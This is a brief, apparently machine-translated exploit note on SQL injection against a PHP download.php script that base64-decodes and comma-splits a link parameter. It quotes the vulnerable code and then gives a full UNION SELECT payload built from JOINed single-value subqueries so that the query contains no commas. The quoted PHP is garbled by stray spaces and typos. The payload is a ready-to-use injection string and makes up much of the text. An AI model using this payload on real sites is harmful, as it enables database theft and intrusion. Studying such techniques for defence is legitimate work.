UNION without commas

./Download. php

01...

02 if ($ link) {// encrypted ID

03 $ link = base64_decode (urldecode ($ link ));

04 $ link_array = explode (',', $ link );

05 if (is_array ($ link_array) & count ($ link_array)> 0 ){

06 $ url = $ link_array [0];

07 $ contentid = $ link_array [1];

08}

09} else {// implementation address

10 $ contentid = $ _ GET ['contentid']? $ _ GET ['tentid']: $ _ GET ['id'];

11}

12...

In this case, the UNION query cannot be used as a regular method.
Construct contentid as 'Union SELECT * FROM (SELECT 1) a JOIN (SELECT 2) B JOIN (SELECT 3) c JOIN (SELECT 4) d JOIN (SELECT 5) e JOIN (SELECT 6) f JOIN (SELECT 7) g JOIN (SELECT 8) h JOIN (SELECT 9) I JOIN (SELECT 10) j JOIN (SELECT 11) k JOIN (SELECT 12) l JOIN (SELECT 13) m JOIN (SELECT 14) n JOIN (SELECT 15) o JOIN (SELECT 16) p JOIN (SELECT 17) q JOIN (SELECT 18) r JOIN (SELECT 19) s )#
This avoids the appearance of commas.